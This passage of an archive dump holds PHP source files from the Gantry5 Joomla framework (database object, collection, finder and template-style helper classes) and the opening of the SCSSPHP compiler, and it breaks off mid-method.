    protected function prepare()
    {
        $this->where('client_id', '=',
0)->where('published', 'IN',
$this->published)->order('position')->order('ordering');
        foreach ($this->state as $key => $list) {
            foreach ($list as $op => $group) {
                $this->where($key, $op, array_unique($group));
            }
        }
    }
}
Gantry/Joomla/Object/AbstractObject.php000064400000031372151157471010014052
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Joomla\Object;

/**
 * Abstract base class for database objects.
 *
 *
 */
abstract class AbstractObject extends \JObject
{
    /**
     * If you don't have global instance ids, override this in
extending class.
     * @var array
     */
    static protected $instances = [];

    /**
     * Override table class in your own class.
     * @var string
     */
    static protected $table;

    /**
     * JTable class prefix, override if needed.
     * @var string
     */
    static protected $tablePrefix = 'JTable';

    /**
     * Override table in your own class.
     * @var string
     */
    static protected $order;

    /**
     * @var int
     */
    public $id;

    /**
     * Is object stored into database?
     * @var boolean
     */
    protected $_exists = false;

    /**
     * Readonly object.
     * @var bool
     */
    protected $_readonly = false;

    /**
     * @var bool
     */
    protected $_initialized = false;

    /**
     * Class constructor, overridden in descendant classes.
     *
     * @param int $identifier Identifier.
     */
    public function __construct($identifier = null)
    {
        parent::__construct();

        if ($identifier) {
            $this->load($identifier);
        }
    }

    /**
     * Override this function if you need to initialize object right after
creating it.
     *
     * Can be used for example if the database fields need to be converted
to array or JRegistry.
     *
     * @return bool True if initialization was done, false if object was
already initialized.
     */
    public function initialize()
    {
        $initialized = $this->_initialized;
        $this->_initialized = true;

        return !$initialized;
    }

    /**
     * Make instance as read only object.
     */
    public function readonly()
    {
        $this->_readonly = true;
    }

    /**
     * Returns the global instance to the object.
     *
     * Note that using array of fields will always make a query to the
database, but it's very useful feature if you want to search
     * one item by using arbitrary set of matching fields. If there are
more than one matching object, first one gets returned.
     *
     * @param  int|array  $keys        An optional primary key value to
load the object by, or an array of fields to match.
     * @param  boolean    $reload      Force object reload from the
database.
     *
     * @return  Object
     */
    static public function getInstance($keys = null, $reload = false)
    {
        // If we are creating or loading a new item or we load instance by
alternative keys,
        // we need to create a new object.
        if (!$keys || is_array($keys) || !isset(static::$instances[(int)
$keys])) {
            $c = get_called_class();
            $instance = new $c($keys);
            /** @var Object $instance */
            if (!$instance->exists()) return $instance;

            // Instance exists: make sure that we return the global
instance.
            $keys = $instance->id;
        }

        // Return global instance from the identifier, possibly reloading
it first.
        $instance = static::$instances[(int) $keys];
        if ($reload) $instance->load($keys);

        return $instance;
    }

    /**
     * Removes all or selected instances from the object cache.
     *
     * @param null|int|array  $ids
     */
    static public function freeInstances($ids = null)
    {
        if ($ids === null) {
            $ids = array_keys(static::$instances);
        }
        $ids = (array) $ids;

        foreach ($ids as $id) {
            unset(static::$instances[$id]);
        }
    }

    /**
     * Returns true if the object exists in the database.
     *
     * @param   boolean  $exists  Internal parameter to change state.
     *
     * @return  boolean  True if object exists in database.
     */
    public function exists($exists = null)
    {
        $return = $this->_exists;
        if ($exists !== null) $this->_exists = (bool) $exists;
        return $return;
    }

    /**
     * Tests if dynamically defined property has been defined.
     *
     * @param string $property
     * @param bool   $defined
     * @return bool
     */
    public function defined($property, $defined = true)
    {
        $property = '_' . $property;

        return $defined ? isset($this->{$property}) :
!isset($this->{$property});
    }

    /**
     * Returns an associative array of object properties.
     *
     * @param   boolean  $public  If true, returns only the public
properties.
     *
     * @return  array
     */
    public function getProperties($public = true)
    {
        if ($public) {
            $getProperties = function($obj) { return get_object_vars($obj);
};
            return $getProperties($this);
        }

        return get_object_vars($this);
    }

    /**
     * Method to bind an associative array to the instance.
     *
     * This method optionally takes an array of properties to ignore or
allow when binding.
     *
     * @param   array    $src     An associative array or object to bind to
the JTable instance.
     * @param   array    $fields  An optional array list of properties to
ignore / include only while binding.
     * @param   boolean  $include  True to include only listed fields,
false to ignore listed fields.
     *
     * @return  boolean  True on success.
     */
    public function bind(array $src = null, array $fields = null, $include
= false)
    {
        if (empty($src)) return false;

        if (!empty($fields)) {
            $src = $include ? array_intersect_key($src,
array_flip($fields)) : array_diff_key($src, array_flip($fields));
        }
        $this->setProperties ( $src );
        return true;
    }

    /**
     * Method to load object from the database.
     *
     * @param   mixed    $keys   An optional primary key value to load the
object by, or an array of fields to match. If not
     *                           set the instance key value is used.
     *
     * @return  boolean  True on success, false if the object doesn't
exist.
     */
    public function load($keys = null)
    {
        if ($keys !== null && !is_array($keys)) {
            $keys = array('id'=>(int) $keys);
        }

        // Create the table object.
        $table = static::getTable ();

        // Make sure we set the given keys to the object even if it is not
loaded.
        $table->reset();
        if ($keys !== null) $table->bind($keys);

        // Load the object based on the keys.
        $this->_exists = $table->load($keys, false);

        // Work around Joomla 3.1.1 bug on load() returning true if keys
didn't exist.
        if ($table->id == 0) $this->_exists = false;

        // Assuming all is well at this point lets bind the data.
        $this->setProperties($table->getProperties());

        if ($this->id) {
            if (!isset(static::$instances[$this->id])) {
                static::$instances[$this->id] = $this;
            }
        }
        $this->initialize();

        return $this->_exists;
    }

    /**
     * Method to save the object to the database.
     *
     * Before saving the object, this method checks if object can be safely
saved.
     * It will also trigger onContentBeforeSave and onContentAfterSave
events.
     *
     * @return  boolean  True on success.
     */
    public function save()
    {
        // Check the object.
        if ($this->_readonly || !$this->check()) {
            return false;
        }

        $isNew = !$this->_exists;

        // Initialize table object.
        $table = static::getTable ();
        $table->bind($this->getProperties());

        // Check the table object.
        if (!$table->check()) {
            $this->setError($table->getError());
            return false;
        }

        // Include the content plugins for the on save events.
        $dispatcher = \JEventDispatcher::getInstance();
        \JPluginHelper::importPlugin('content');

        // Trigger the onContentBeforeSave event.
        $result = $dispatcher->trigger('onContentBeforeSave',
array("com_gantry5.".get_called_class(), $table, $isNew));
        if (in_array(false, $result, true)) {
            $this->setError($table->getError());
            return false;
        }

        // Store the data.
        if (!$table->store()) {
            $this->setError($table->getError());
            return false;
        }

        // If item was created, load the object.
        if ($isNew) {
            $this->load($table->id);

            if (!isset(static::$instances[$this->id])) {
                static::$instances[$this->id] = $this;
            }
        }

        // Trigger the onContentAfterSave event.
        $dispatcher->trigger('onContentAfterSave',
array("com_gantry5.".get_called_class(), $table, $isNew));

        return true;
    }

    /**
     * Method to delete the object from the database.
     *
     * @return	boolean	True on success.
     */
    public function delete()
    {
        if ($this->_readonly) {
            return false;
        }

        if (!$this->_exists) {
            return true;
        }

        // Initialize table object.
        $table = static::getTable();
        $table->bind($this->getProperties());

        // Include the content plugins for the on save events.
        $dispatcher = \JEventDispatcher::getInstance();
        \JPluginHelper::importPlugin('content');

        // Trigger the onContentBeforeDelete event.
        $result =
$dispatcher->trigger('onContentBeforeDelete',
array("com_gantry5.".get_called_class(), $table));
        if (in_array(false, $result, true)) {
            $this->setError($table->getError());
            return false;
        }

        if (!$table->delete()) {
            $this->setError($table->getError());
            return false;
        }
        $this->_exists = false;

        // Trigger the onContentAfterDelete event.
        $dispatcher->trigger('onContentAfterDelete',
array("com_gantry5.".get_called_class(), $table));

        return true;
    }

    /**
     * Method to perform sanity checks on the instance properties to ensure
     * they are safe to store in the database.
     *
     * Child classes should override this method to make sure the data they
are storing in
     * the database is safe and as expected before storage.
     *
     * @return  boolean  True if the instance is sane and able to be stored
in the database.
     */
    public function check()
    {
        return true;
    }

    static public function getAvailableInstances()
    {
        return static::collection(static::$instances);
    }

    static public function getInstances(array $ids, $readonly = true)
    {
        if (!$ids) {
            return array();
        }

        $results = array();
        $list = array();

        foreach ($ids as $id) {
            if (!isset(static::$instances[$id])) {
                $list[] = $id;
            }
        }

        if ($list) {
            $query = static::getQuery();
            $query->where('id IN (' . implode(',',
$list) . ')');
            static::loadInstances($query);
        }

        foreach ($ids as $id) {
            if (isset(static::$instances[$id])) {
                if ($readonly) {
                    $results[$id] = clone static::$instances[$id];
                } else {
                    $results[$id] = static::$instances[$id];
                }
            }
        }

        return static::collection($results);
    }

    // Internal functions

    static protected function collection($items)
    {
        return new Collection($items);
    }

    /**
     * Method to get the table object.
     *
     * @return  \JTable  The table object.
     */
    static protected function getTable()
    {
        return \JTable::getInstance(static::$table, static::$tablePrefix);
    }

    /**
     * @return \JDatabaseQuery
     */
    static protected function getQuery()
    {
        $table = static::getTable();
        $db = \JFactory::getDbo();
        $query = $db->getQuery(true);
       
$query->select('a.*')->from($table->getTableName().'
AS a')->order(static::$order);

        return $query;
    }

    /**
     * @param \JDatabaseQuery|string $query
     */
    static protected function loadInstances($query = null)
    {
        if (!$query) {
            $query = static::getQuery();
        }

        $db = \JFactory::getDbo();
        $db->setQuery($query);

        /** @var Object[] $items */
        $items = (array) $db->loadObjectList('id',
get_called_class());

        foreach ($items as $item) {
            if (!isset(static::$instances[$item->id])) {
                $item->exists(true);
                $item->initialize();
            }
        }

        static::$instances += $items;
    }
}
Gantry/Joomla/Object/Collection.php000064400000001770151157471010013252
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Joomla\Object;

use \Gantry\Component\Collection\Collection as BaseCollection;

class Collection extends BaseCollection
{
    public function __construct(array $items)
    {
        $this->items = $items;
    }

    public function get($property)
    {
        $list = [];

        if ($property === 'id') {
            return array_keys($this->items);
        }

        foreach ($this as $object) {
            $list[$object->id] = $object->{$property};
        }

        return $list;
    }

    public function __call($name, $arguments)
    {
        $list = [];

        foreach ($this as $object) {
            $list[$object->id] = method_exists($object, $name) ?
call_user_func_array([$object, $name], $arguments) : null;
        }

        return $list;
    }
}
Gantry/Joomla/Object/Finder.php000064400000013102151157471010012356
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Joomla\Object;

/**
 * Class Finder
 * @package Gantry\Joomla\Object
 */
abstract class Finder
{
    /**
     * Table associated with the model.
     *
     * @var string
     */
    protected $table;

    /**
     * @var string
     */
    protected $primaryKey = 'id';

    /**
     * @var \JDatabaseQuery
     */
    protected $query;

    /**
     * @var \JDatabase
     */
    protected $db;

    protected $start = 0;

    protected $limit = 20;

    protected $skip = false;

    /**
     * Finder constructor.
     *
     * @param array $options
     */
    public function __construct(array $options = [])
    {
        if (!$this->table) {
            throw new \DomainException('Table name missing from '
. get_class($this));
        }

        $this->db = \JFactory::getDbo();
        $this->query = $this->db->getQuery(true);
        $this->query->from($this->table . ' AS a');

        if ($options) {
            $this->parse($options);
        }
    }

    public function parse(array $options)
    {
        foreach ($options as $func => $params) {
            if (method_exists($this, $func)) {
                call_user_func_array([$this, $func], (array) $params);
            }
        }

        return $this;
    }

    /**
     * Set limitstart for the query.
     *
     * @param int $limitstart
     *
     * @return $this
     */
    public function start($limitstart = 0)
    {
        $this->start = $limitstart;

        return $this;
    }

    /**
     * Set limit to the query.
     *
     * @param int $limit
     *
     * @return $this
     */
    public function limit($limit = null)
    {
        if (!is_null($limit))
        {
            $this->limit = $limit;
        }

        return $this;
    }

    /**
     * Set order by field and direction.
     *
     * This function can be used more than once to chain order by.
     *
     * @param  string $by
     * @param  int $direction
     * @param  string $alias
     *
     * @return $this
     */
    public function order($by, $direction = 1, $alias = 'a')
    {
        if (is_numeric($direction)) {
            $direction = $direction > 0 ? 'ASC' :
'DESC';
        } else {
            $direction = strtolower((string)$direction) == 'desc'
? 'DESC' : 'ASC';
        }
        $by = (string)$alias . '.' .
$this->db->quoteName($by);
        $this->query->order("{$by} {$direction}");

        return $this;
    }

    /**
     * Filter by field.
     *
     * @param  string        $field       Field name.
     * @param  string        $operation   Operation
(>|>=|<|<=|=|IN|NOT IN)
     * @param  string|array  $value       Value.
     *
     * @return $this
     */
    public function where($field, $operation, $value)
    {
        $db = $this->db;
        $operation = strtoupper($operation);
        switch ($operation)
        {
            case '>':
            case '>=':
            case '<':
            case '<=':
            case '=':
                // Quote all non integer values.
                $value = (string)(int)$value === (string)$value ?
(int)$value : $db->quote($value);
               
$this->query->where("{$this->db->quoteName($field)}
{$operation} {$value}");
                break;
            case 'BETWEEN':
            case 'NOT BETWEEN':
                list($a, $b) = (array) $value;
                // Quote all non integer values.
                $a = (string)(int)$a === (string)$a ? (int)$a :
$db->quote($a);
                $b = (string)(int)$b === (string)$b ? (int)$b :
$db->quote($b);
               
$this->query->where("{$this->db->quoteName($field)}
{$operation} {$a} AND {$b}");
                break;
            case 'IN':
            case 'NOT IN':
                $value = (array) $value;
                if (empty($value)) {
                    // WHERE field IN (nothing).
                    $this->query->where('0');
                } else {
                    // Quote all non integer values.
                    array_walk($value, function (&$value) use ($db) {
$value = (string)(int)$value === (string)$value ? (int)$value :
$db->quote($value); });
                    $list = implode(',', $value);
                   
$this->query->where("{$this->db->quoteName($field)}
{$operation} ({$list})");
                }
                break;
        }

        return $this;
    }

    /**
     * Get items.
     *
     * Derived classes should generally override this function to return
correct objects.
     *
     * @return array
     */
    public function find()
    {
        if ($this->skip)
        {
            return array();
        }

        $baseQuery = clone $this->query;
        $this->prepare();
        $query = $this->query;
        $this->query = $baseQuery;

        $query->select('a.' . $this->primaryKey);
        $this->db->setQuery($query, $this->start,
$this->limit);
        $results = (array) $this->db->loadColumn();

        return $results;
    }

    /**
     * Count items.
     *
     * @return int
     */
    public function count()
    {
        $baseQuery = clone $this->query;
        $this->prepare();
        $query = $this->query;
        $this->query = $baseQuery;

        $query->select('COUNT(*)');
        $this->db->setQuery($query);
        $count = (int) $this->db->loadResult();

        return $count;
    }

    /**
     * Override to include common where rules.
     *
     * @return void
     */
    protected function prepare()
    {
    }
}
Gantry/Joomla/StyleHelper.php000064400000006676151157471010012223
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Joomla;

use Gantry\Component\Filesystem\Folder;
use Gantry\Framework\Gantry;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

/**
 * Joomla style helper.
 */
class StyleHelper
{
    public static function getStyle($id)
    {
        \JTable::addIncludePath(JPATH_ADMINISTRATOR .
'/components/com_templates/tables');

        $style = \JTable::getInstance('Style',
'TemplatesTable');
        $style->load($id);

        return $style;
    }

    public static function loadStyles($template)
    {
        $db = \JFactory::getDbo();

        $query = $db
            ->getQuery(true)
            ->select('s.id, s.template, s.home, s.title AS
long_title, s.params')
            ->from('#__template_styles AS s')
            ->where('s.client_id = 0')
            ->where("s.template = {$db->quote($template)}")
            ->order('s.id');

        $db->setQuery($query);

        $list = (array) $db->loadObjectList('id');

        foreach ($list as $id => &$style) {
            $style->title = preg_replace('/' .
preg_quote(\JText::_($style->template), '/') .
'\s*-\s*/u', '', $style->long_title);
            $style->home = $style->home && $style->home
!== '1' ? $style->home : (bool)$style->home;
        }

        return $list;
    }

    public static function getDefaultStyle()
    {
        return static::getStyle(['home' => 1,
'client_id' => 0]);
    }

    public static function copy($style, $old, $new)
    {
        $gantry = Gantry::instance();

        /** @var UniformResourceLocator $locator */
        $locator = $gantry['locator'];

        $oldPath = $locator->findResource('gantry-config://' .
$old, true, true);
        $newPath = $locator->findResource('gantry-config://' .
$new, true, true);

        if (file_exists($oldPath)) {
            Folder::copy($oldPath, $newPath);
        }

        $extension = !empty($style->extension_id) ?
$style->extension_id : $style->template;

        $installer = new TemplateInstaller($extension);
        $installer->updateStyle($new, ['configuration' =>
$new]);
    }

    public static function update($id, $preset)
    {
        $style = static::getStyle($id);

        $extension = !empty($style->extension_id) ?
$style->extension_id : $style->template;

        $installer = new TemplateInstaller($extension);
        $installer->updateStyle($id, ['configuration' =>
$id, 'preset' => $preset]);
    }

    public static function delete($id)
    {
        $gantry = Gantry::instance();

        /** @var UniformResourceLocator $locator */
        $locator = $gantry['locator'];

        $path = $locator->findResource('gantry-config://' .
$id, true, true);

        if (is_dir($path)) {
            Folder::delete($path, true);
        }
    }

    /**
     * @return \TemplatesModelStyle
     */
    public static function loadModel()
    {
        static $model;

        if (!$model) {
            $path = JPATH_ADMINISTRATOR .
'/components/com_templates/';

            \JTable::addIncludePath("{$path}/tables");
            require_once "{$path}/models/style.php";

            // Load language strings.
            $lang = \JFactory::getLanguage();
            $lang->load('com_templates');

            $model = new \TemplatesModelStyle;
        }

        return $model;
    }
}
Gantry/Joomla/TemplateInstaller.php000064400000000650151157471010013376
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Joomla;

use Gantry\Framework\ThemeInstaller;

/**
 * Class TemplateInstaller
 * @package Gantry\Joomla
 * @deprecated 5.3.2
 */
class TemplateInstaller extends ThemeInstaller {}
Leafo/ScssPhp/Compiler.php000064400000554424151157471010011460
0ustar00<?php
/**
 * SCSSPHP
 *
 * @copyright 2012-2018 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://leafo.github.io/scssphp
 */

namespace Leafo\ScssPhp;

use Leafo\ScssPhp\Base\Range;
use Leafo\ScssPhp\Block;
use Leafo\ScssPhp\Cache;
use Leafo\ScssPhp\Colors;
use Leafo\ScssPhp\Compiler\Environment;
use Leafo\ScssPhp\Exception\CompilerException;
use Leafo\ScssPhp\Formatter\OutputBlock;
use Leafo\ScssPhp\Node;
use Leafo\ScssPhp\SourceMap\SourceMapGenerator;
use Leafo\ScssPhp\Type;
use Leafo\ScssPhp\Parser;
use Leafo\ScssPhp\Util;

/**
 * The scss compiler and parser.
 *
 * Converting SCSS to CSS is a three stage process. The incoming file is
parsed
 * by `Parser` into a syntax tree, then it is compiled into another tree
 * representing the CSS structure by `Compiler`. The CSS tree is fed into a
 * formatter, like `Formatter` which then outputs CSS as a string.
 *
 * During the first compile, all values are *reduced*, which means that
their
 * types are brought to the lowest form before being dump as strings. This
 * handles math equations, variable dereferences, and the like.
 *
 * The `compile` function of `Compiler` is the entry point.
 *
 * In summary:
 *
 * The `Compiler` class creates an instance of the parser, feeds it SCSS
code,
 * then transforms the resulting tree to a CSS tree. This class also holds
the
 * evaluation context, such as all available mixins and variables at any
given
 * time.
 *
 * The `Parser` class is only concerned with parsing its input.
 *
 * The `Formatter` takes a CSS tree, and dumps it to a formatted string,
 * handling things like indentation.
 */

/**
 * SCSS compiler
 *
 * @author Leaf Corcoran <leafot@gmail.com>
 */
class Compiler
{
    const LINE_COMMENTS = 1;
    const DEBUG_INFO    = 2;

    const WITH_RULE     = 1;
    const WITH_MEDIA    = 2;
    const WITH_SUPPORTS = 4;
    const WITH_ALL      = 7;

    const SOURCE_MAP_NONE   = 0;
    const SOURCE_MAP_INLINE = 1;
    const SOURCE_MAP_FILE   = 2;

    /**
     * @var array
     */
    static protected $operatorNames = [
        '+'   => 'add',
        '-'   => 'sub',
        '*'   => 'mul',
        '/'   => 'div',
        '%'   => 'mod',

        '=='  => 'eq',
        '!='  => 'neq',
        '<'   => 'lt',
        '>'   => 'gt',

        '<='  => 'lte',
        '>='  => 'gte',
        '<=>' => 'cmp',
    ];

    /**
     * @var array
     */
    static protected $namespaces = [
        'special'  => '%',
        'mixin'    => '@',
        'function' => '^',
    ];

    static public $true         = [Type::T_KEYWORD, 'true'];
    static public $false        = [Type::T_KEYWORD, 'false'];
    static public $null         = [Type::T_NULL];
    static public $nullString   = [Type::T_STRING, '', []];
    static public $defaultValue = [Type::T_KEYWORD, ''];
    static public $selfSelector = [Type::T_SELF];
    static public $emptyList    = [Type::T_LIST, '', []];
    static public $emptyMap     = [Type::T_MAP, [], []];
    static public $emptyString  = [Type::T_STRING, '"', []];
    static public $with         = [Type::T_KEYWORD, 'with'];
    static public $without      = [Type::T_KEYWORD, 'without'];

    protected $importPaths = [''];
    protected $importCache = [];
    protected $importedFiles = [];
    protected $userFunctions = [];
    protected $registeredVars = [];
    protected $registeredFeatures = [
        'extend-selector-pseudoclass' => false,
        'at-error'                    => true,
        'units-level-3'               => false,
        'global-variable-shadowing'   => false,
    ];

    protected $encoding = null;
    protected $lineNumberStyle = null;

    protected $sourceMap = self::SOURCE_MAP_NONE;
    protected $sourceMapOptions = [];

    /**
     * @var string|\Leafo\ScssPhp\Formatter
     */
    protected $formatter = 'Leafo\ScssPhp\Formatter\Nested';

    protected $rootEnv;
    protected $rootBlock;

    /**
     * @var \Leafo\ScssPhp\Compiler\Environment
     */
    protected $env;
    protected $scope;
    protected $storeEnv;
    protected $charsetSeen;
    protected $sourceNames;

    protected $cache;

    protected $indentLevel;
    protected $extends;
    protected $extendsMap;
    protected $parsedFiles;
    protected $parser;
    protected $sourceIndex;
    protected $sourceLine;
    protected $sourceColumn;
    protected $stderr;
    protected $shouldEvaluate;
    protected $ignoreErrors;

    protected $callStack = [];

    /**
     * Constructor
     */
    public function __construct($cacheOptions = null)
    {
        $this->parsedFiles = [];
        $this->sourceNames = [];

        if ($cacheOptions) {
            $this->cache = new Cache($cacheOptions);
        }
    }

    public function getCompileOptions()
    {
        $options = [
            'importPaths'        => $this->importPaths,
            'registeredVars'     => $this->registeredVars,
            'registeredFeatures' =>
$this->registeredFeatures,
            'encoding'           => $this->encoding,
            'sourceMap'          =>
serialize($this->sourceMap),
            'sourceMapOptions'   =>
$this->sourceMapOptions,
            'formatter'          => $this->formatter,
        ];

        return $options;
    }

    /**
     * Compile scss
     *
     * @api
     *
     * @param string $code
     * @param string $path
     *
     * @return string
     */
    public function compile($code, $path = null)
    {
        if ($this->cache) {
            $cacheKey = ($path ? $path : "(stdin)") .
":" . md5($code);
            $compileOptions = $this->getCompileOptions();
            $cache = $this->cache->getCache("compile",
$cacheKey, $compileOptions);

            if (is_array($cache)
                && isset($cache['dependencies'])
                && isset($cache['out'])
            ) {
                // check if any dependency file changed before accepting
the cache
                foreach ($cache['dependencies'] as $file =>
$mtime) {
                    if (! file_exists($file)
                        || filemtime($file) !== $mtime
                    ) {
                        unset($cache);
                        break;
                    }
                }

                if (isset($cache)) {
                    return $cache['out'];
                }
            }
        }


        $this->indentLevel    = -1;
        $this->extends        = [];
        $this->extendsMap     = [];
        $this->sourceIndex    = null;
        $this->sourceLine     = null;
        $this->sourceColumn   = null;
        $this->env            = null;
        $this->scope          = null;
        $this->storeEnv       = null;
        $this->charsetSeen    = null;
        $this->shouldEvaluate = null;
        $this->stderr         = fopen('php://stderr',
'w');

        $this->parser = $this->parserFactory($path);
        $tree = $this->parser->parse($code);
        $this->parser = null;

        $this->formatter = new $this->formatter();
        $this->rootBlock = null;
        $this->rootEnv   = $this->pushEnv($tree);

        $this->injectVariables($this->registeredVars);
        $this->compileRoot($tree);
        $this->popEnv();

        $sourceMapGenerator = null;

        if ($this->sourceMap) {
            if (is_object($this->sourceMap) &&
$this->sourceMap instanceof SourceMapGenerator) {
                $sourceMapGenerator = $this->sourceMap;
                $this->sourceMap = self::SOURCE_MAP_FILE;
            } elseif ($this->sourceMap !== self::SOURCE_MAP_NONE) {
                $sourceMapGenerator = new
SourceMapGenerator($this->sourceMapOptions);
            }
        }

        $out = $this->formatter->format($this->scope,
$sourceMapGenerator);

        if (! empty($out) && $this->sourceMap &&
$this->sourceMap !== self::SOURCE_MAP_NONE) {
            $sourceMap    = $sourceMapGenerator->generateJson();
            $sourceMapUrl = null;

            switch ($this->sourceMap) {
                case self::SOURCE_MAP_INLINE:
                    $sourceMapUrl =
sprintf('data:application/json,%s',
Util::encodeURIComponent($sourceMap));
                    break;

                case self::SOURCE_MAP_FILE:
                    $sourceMapUrl =
$sourceMapGenerator->saveMap($sourceMap);
                    break;
            }

            $out .= sprintf('/*# sourceMappingURL=%s */',
$sourceMapUrl);
        }

        if ($this->cache && isset($cacheKey) &&
isset($compileOptions)) {
            $v = [
                'dependencies' => $this->getParsedFiles(),
                'out' => &$out,
            ];

            $this->cache->setCache("compile", $cacheKey,
$v, $compileOptions);
        }

        return $out;
    }

    /**
     * Instantiate parser
     *
     * @param string $path
     *
     * @return \Leafo\ScssPhp\Parser
     */
    protected function parserFactory($path)
    {
        $parser = new Parser($path, count($this->sourceNames),
$this->encoding, $this->cache);

        $this->sourceNames[] = $path;
        $this->addParsedFile($path);

        return $parser;
    }

    /**
     * Is self extend?
     *
     * @param array $target
     * @param array $origin
     *
     * @return boolean
     */
    protected function isSelfExtend($target, $origin)
    {
        foreach ($origin as $sel) {
            if (in_array($target, $sel)) {
                return true;
            }
        }

        return false;
    }

    /**
     * Push extends
     *
     * @param array     $target
     * @param array     $origin
     * @param \stdClass $block
     */
    protected function pushExtends($target, $origin, $block)
    {
        if ($this->isSelfExtend($target, $origin)) {
            return;
        }

        $i = count($this->extends);
        $this->extends[] = [$target, $origin, $block];

        foreach ($target as $part) {
            if (isset($this->extendsMap[$part])) {
                $this->extendsMap[$part][] = $i;
            } else {
                $this->extendsMap[$part] = [$i];
            }
        }
    }

    /**
     * Make output block
     *
     * @param string $type
     * @param array  $selectors
     *
     * @return \Leafo\ScssPhp\Formatter\OutputBlock
     */
    protected function makeOutputBlock($type, $selectors = null)
    {
        $out = new OutputBlock;
        $out->type         = $type;
        $out->lines        = [];
        $out->children     = [];
        $out->parent       = $this->scope;
        $out->selectors    = $selectors;
        $out->depth        = $this->env->depth;

        if ($this->env->block instanceof Block) {
            $out->sourceName   = $this->env->block->sourceName;
            $out->sourceLine   = $this->env->block->sourceLine;
            $out->sourceColumn =
$this->env->block->sourceColumn;
        } else {
            $out->sourceName   = null;
            $out->sourceLine   = null;
            $out->sourceColumn = null;
        }

        return $out;
    }

    /**
     * Compile root
     *
     * @param \Leafo\ScssPhp\Block $rootBlock
     */
    protected function compileRoot(Block $rootBlock)
    {
        $this->rootBlock = $this->scope =
$this->makeOutputBlock(Type::T_ROOT);

        $this->compileChildrenNoReturn($rootBlock->children,
$this->scope);
        $this->flattenSelectors($this->scope);
        $this->missingSelectors();
    }

    /**
     * Report missing selectors
     */
    protected function missingSelectors()
    {
        foreach ($this->extends as $extend) {
            if (isset($extend[3])) {
                continue;
            }

            list($target, $origin, $block) = $extend;

            // ignore if !optional
            if ($block[2]) {
                continue;
            }

            $target = implode(' ', $target);
            $origin = $this->collapseSelectors($origin);

            $this->sourceLine = $block[Parser::SOURCE_LINE];
            $this->throwError("\"$origin\" failed to
@extend \"$target\". The selector \"$target\" was not
found.");
        }
    }

    /**
     * Flatten selectors
     *
     * @param \Leafo\ScssPhp\Formatter\OutputBlock $block
     * @param string                               $parentKey
     */
    protected function flattenSelectors(OutputBlock $block, $parentKey =
null)
    {
        if ($block->selectors) {
            $selectors = [];

            foreach ($block->selectors as $s) {
                $selectors[] = $s;

                if (! is_array($s)) {
                    continue;
                }

                // check extends
                if (! empty($this->extendsMap)) {
                    $this->matchExtends($s, $selectors);

                    // remove duplicates
                    array_walk($selectors, function (&$value) {
                        $value = serialize($value);
                    });

                    $selectors = array_unique($selectors);

                    array_walk($selectors, function (&$value) {
                        $value = unserialize($value);
                    });
                }
            }

            $block->selectors = [];
            $placeholderSelector = false;

            foreach ($selectors as $selector) {
                if ($this->hasSelectorPlaceholder($selector)) {
                    $placeholderSelector = true;
                    continue;
                }

                $block->selectors[] =
$this->compileSelector($selector);
            }

            if ($placeholderSelector && 0 ===
count($block->selectors) && null !== $parentKey) {
                unset($block->parent->children[$parentKey]);

                return;
            }
        }

        foreach ($block->children as $key => $child) {
            $this->flattenSelectors($child, $key);
        }
    }

    /**
     * Glue parts of :not( or :nth-child( ... that are in general splitted
in selectors parts
     *
     * @param array $parts
     *
     * @return array
     */
    protected function glueFunctionSelectors($parts)
    {
        $new = [];

        foreach ($parts as $part) {
            if (is_array($part)) {
                $part = $this->glueFunctionSelectors($part);
                $new[] = $part;
            } else {
                // a selector part finishing with a ) is the last part of a
:not( or :nth-child(
                // and need to be joined to this
                if (count($new) && is_string($new[count($new) - 1])
                    && strlen($part) && substr($part, -1)
=== ')' && strpos($part, '(') === false
                ) {
                    $new[count($new) - 1] .= $part;
                } else {
                    $new[] = $part;
                }
            }
        }

        return $new;
    }

    /**
     * Match extends
     *
     * @param array   $selector
     * @param array   $out
     * @param integer $from
     * @param boolean $initial
     */
    protected function matchExtends($selector, &$out, $from = 0,
$initial = true)
    {
        static $partsPile = [];

        $selector = $this->glueFunctionSelectors($selector);

        foreach ($selector as $i => $part) {
            if ($i < $from) {
                continue;
            }

            // check that we are not building an infinite loop of
extensions
            // if the new part is just including a previous part don't
try to extend anymore
            if (count($part) > 1) {
                foreach ($partsPile as $previousPart) {
                    if (! count(array_diff($previousPart, $part))) {
                        continue 2;
                    }
                }
            }

            if ($this->matchExtendsSingle($part, $origin)) {
                $partsPile[] = $part;
                $after       = array_slice($selector, $i + 1);
                $before      = array_slice($selector, 0, $i);

                list($before, $nonBreakableBefore) =
$this->extractRelationshipFromFragment($before);

                foreach ($origin as $new) {
                    $k = 0;

                    // remove shared parts
                    if (count($new) > 1) {
                        while ($k < $i && isset($new[$k])
&& $selector[$k] === $new[$k]) {
                            $k++;
                        }
                    }

                    $replacement = [];
                    $tempReplacement = $k > 0 ? array_slice($new, $k) :
$new;

                    for ($l = count($tempReplacement) - 1; $l >= 0;
$l--) {
                        $slice = [];

                        foreach ($tempReplacement[$l] as $chunk) {
                            if (! in_array($chunk, $slice)) {
                                $slice[] = $chunk;
